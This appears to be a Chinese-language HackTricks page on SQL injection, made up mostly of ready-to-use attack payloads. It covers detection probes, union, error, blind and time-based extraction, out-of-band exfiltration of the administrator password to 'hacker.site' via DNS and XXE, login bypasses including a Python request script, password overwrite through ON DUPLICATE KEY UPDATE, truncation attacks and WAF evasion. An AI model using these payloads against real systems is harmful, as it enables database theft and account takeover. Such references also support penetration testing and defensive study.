SQL Injection

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

​​​​RootedCON是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流地。

什么是SQL注入?

SQL注入是一种安全漏洞,允许攻击者干扰应用程序的数据库查询。这种漏洞可以使攻击者查看修改删除他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致对应用程序功能或内容的永久更改,甚至危及服务器或造成拒绝服务。

入口点检测

当网站由于对SQL注入(SQLi)相关输入的异常服务器响应而易受攻击时,第一步是了解如何在不中断查询的情况下注入数据。这需要有效地识别从当前上下文中逃逸的方法。 以下是一些有用的示例:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

然后,您需要知道如何修复查询以避免错误。为了修复查询,您可以输入数据,使先前的查询接受新数据,或者您可以只是输入您的数据并在末尾添加注释符号

请注意,如果您可以看到错误消息或者可以发现查询在工作时和不工作时的差异,这个阶段将会更容易。

注释

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

使用逻辑操作确认

确认 SQL 注入漏洞的可靠方法包括执行逻辑操作并观察预期结果。例如,当修改 GET 参数,如 ?username=Peter?username=Peter' or '1'='1 时产生相同内容,表明存在 SQL 注入漏洞。

同样,应用数学操作作为有效的确认技术。例如,如果访问 ?id=1?id=2-1 产生相同结果,则表明存在 SQL 注入。

演示逻辑操作确认的示例:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

这个单词列表是为了尝试以提议的方式确认SQL注入而创建的:

使用时间确认

在某些情况下,您不会注意到页面上的任何变化。因此,发现盲目SQL注入的一个好方法是让数据库执行操作,这将影响页面加载所需的时间。 因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

在某些情况下,sleep 函数可能不被允许。因此,您可以使查询执行复杂操作,以便需要几秒钟的时间。这些技术的示例将在每种技术中单独进行说明

识别后端

识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节中的sleep 函数或这些函数(来自payloadsallthethings中的表格:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

此外,如果您可以访问查询的输出,您可以使其打印数据库的版本

接下来,我们将讨论利用不同类型的SQL注入的不同方法。我们将以MySQL为例。

使用PortSwigger进行识别

利用联合查询

检测列数

如果您可以看到查询的输出,这是利用它的最佳方法。 首先,我们需要找出初始请求返回的列数。这是因为两个查询必须返回相同数量的列。 通常有两种方法用于此目的:

Order/Group by

为了确定查询中的列数,逐渐调整在ORDER BYGROUP BY子句中使用的数字,直到收到错误响应。尽管GROUP BYORDER BY在SQL中具有不同的功能,但两者都可以用于确定查询的列数。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

选择更多的空值,直到查询正确为止:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

在某些情况下,查询两侧列的类型必须相同,因此应使用null值。

提取数据库名称、表名称和列名称

在下面的示例中,我们将检索所有数据库的名称、数据库的表名称以及表的列名称:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

在每个不同的数据库上发现这些数据的方法都不同,但方法论总是相同的。

利用隐藏的基于联合的注入

当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在隐藏的基于联合的注入。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端执行查询。

这可以通过使用盲注入技术以及特定于目标数据库管理系统(DBMS)的默认表来实现。为了了解这些默认表,建议查阅目标DBMS的文档。

一旦查询被提取出来,就需要调整有效载荷以安全地关闭原始查询。随后,在有效载荷中附加一个联合查询,从而促进对新获得的基于联合的注入的利用。

要获取更全面的见解,请参考Healing Blind Injections上提供的完整文章。

利用基于错误的注入

如果由于某种原因您无法看到查询输出,但可以看到错误消息,则可以利用这些错误消息从数据库中提取数据。 按照与基于联合的利用相似的流程,您可以成功地转储数据库。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

利用盲注入攻击

在这种情况下,您无法看到查询结果或错误,但您可以区分查询返回的是真还是假的响应,因为页面上的内容不同。 在这种情况下,您可以利用这种行为逐个字符地转储数据库:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

利用错误盲注 SQLi

这与之前的情况相同,但不再区分查询的真/假响应,而是可以区分SQL查询中是否存在错误(也许是因为HTTP服务器崩溃)。因此,在这种情况下,每次猜对一个字符时,您都可以强制引发一个 SQL 错误:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

利用基于时间的 SQLi

在这种情况下,无法根据页面的上下文区分查询的响应。但是,如果猜测的字符正确,可以使页面加载时间更长。我们之前已经看到过这种技术的应用,用于确认 SQLi 漏洞

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

堆叠查询

您可以使用堆叠查询来连续执行多个查询。请注意,尽管后续查询被执行,结果不会返回给应用程序。因此,这种技术主要用于与盲注漏洞相关的情况,您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。

Oracle不支持堆叠查询MySQL、MicrosoftPostgreSQL支持:在此处放置第一个查询; 在此处放置第二个查询

带外利用

如果没有其他利用方法奏效,您可以尝试让数据库将信息传输到您控制的外部主机。例如,通过DNS查询:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

通过XXE进行带外数据泄露

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自动化利用

查看SQLMap Cheetsheat以使用sqlmap利用SQLi漏洞。

技术特定信息

我们已经讨论了利用SQL注入漏洞的所有方法。在本书中找到一些与数据库技术相关的更多技巧:

或者您可以在https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection中找到关于MySQL、PostgreSQL、Oracle、MSSQL、SQLite和HQL的许多技巧

​​​​​RootedCON西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流平台。

身份验证绕过

尝试绕过登录功能的列表:

Login bypass List

原始哈希身份验证绕过

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

这个查询展示了在使用MD5进行原始输出验证时的一个漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入,使其在哈希后产生意外的SQL命令部分,从而实现未经授权的访问。

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

注入哈希身份验证绕过

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推荐列表

您应该将列表中的每一行作为用户名,密码始终为:Pass1234. (这些有效载荷也包含在本节开头提到的大列表中)

GBK身份验证绕过

如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建:0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python脚本:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

多语言注入(多上下文)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

插入语句

修改现有对象/用户的密码

要做到这一点,您应该尝试创建一个名为"主对象"(在用户情况下可能是admin)修改一些内容:

  • 创建用户名为:AdMIn(大写和小写字母)

  • 创建用户名为:admin=

  • SQL截断攻击(当用户名或电子邮件中存在某种长度限制时)--> 创建用户名为:admin [很多空格] a

SQL截断攻击

如果数据库存在漏洞,并且用户名的最大字符数为30,您想要冒充用户admin,尝试创建一个名为:"admin [30个空格] a"的用户名和任何密码。

数据库将检查是否在数据库中存在输入的用户名。如果不存在,它将截断用户名至允许的最大字符数(在本例中为:"admin [25个空格]"),然后将自动删除所有末尾的空格,更新数据库中的用户"admin"的新密码(可能会出现一些错误,但这并不意味着这没有起作用)。

更多信息:https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

注意:在最新的MySQL安装中,此攻击将不再按上述描述的方式起作用。虽然比较仍然默认忽略尾随空格,但尝试插入长于字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息,请参阅:https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL插入基于时间的检查

在VALUES语句中添加尽可能多的','',''。如果延迟执行,则存在SQL注入。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL中的ON DUPLICATE KEY UPDATE子句用于指定数据库在尝试插入导致在UNIQUE索引或PRIMARY KEY中出现重复值的行时应采取的操作。以下示例演示了如何利用此功能来修改管理员帐户的密码:

注入示例负载:

可以制作如下注入负载,尝试将两行插入users表中。第一行是诱饵,第二行针对现有管理员的电子邮件,意图是更新密码:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

这是它的工作原理:

  • 查询尝试插入两行数据:一个是generic_user@example.com,另一个是admin_generic@example.com

  • 如果admin_generic@example.com的行已经存在,则ON DUPLICATE KEY UPDATE子句会触发,指示MySQL将现有行的password字段更新为"bcrypt_hash_of_newpassword"。

  • 因此,随后可以尝试使用admin_generic@example.com进行身份验证,密码对应于bcrypt哈希("bcrypt_hash_of_newpassword"代表新密码的bcrypt哈希,应该用所需密码的实际哈希替换)。

提取信息

同时创建2个帐户

当尝试创建新用户和用户名时,需要密码和电子邮件:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

使用十进制或十六进制

通过这种技术,您可以仅创建一个帐户来提取信息。重要的是要注意,您不需要添加任何注释。

使用hex2decsubstr

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

要获取文本,您可以使用:

__import__('binascii').unhexlify(hex(215573607263)[2:])

使用hexreplace(以及substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。以促进技术知识为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。

Routed SQL注入

Routed SQL注入是一种情况,其中可注入的查询不是产生输出的查询,而是可注入查询的输出进入产生输出的查询。(From Paper)

示例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF绕过

从这里开始的初始绕过

无空格绕过

无空格 (%20) - 使用空格替代方案绕过

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - 通过使用注释绕过

在某些情况下,您可能会遇到无法在注入点使用空格的限制。在这种情况下,您可以尝试使用注释来绕过此限制。您可以在SQL语句中使用注释来替代空格,以确保语句仍然有效。

?id=1/*comment*/and/**/1=1/**/--

无空格 - 使用括号绕过

在某些情况下,您可能无法在注入点使用空格。在这种情况下,您可以尝试使用括号来绕过此限制。

?id=(1)and(1)=(1)--

无逗号绕过

使用 OFFSET、FROM 和 JOIN 绕过逗号。

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

通用绕过方法

黑名单关键字 - 使用大写/小写绕过

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

使用关键字黑名单不区分大小写 - 通过使用等效运算符绕过

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科学计数法 WAF 绕过

您可以在gosecure博客中找到关于这一技巧的更深入解释。 基本上,您可以以意想不到的方式使用科学计数法来绕过 WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

绕过列名限制

首先要注意,如果原始查询和你想从中提取标志的表具有相同数量的列,你可以简单地执行:0 UNION SELECT * FROM flag

可以访问表的第三列而无需使用其名称,使用以下查询:SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;,因此在SQL注入中会是这样的形式:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

或者使用逗号绕过

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

这个技巧来自https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

WAF绕过建议工具

其他指南

暴力检测列表

RootedCON西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

最后更新于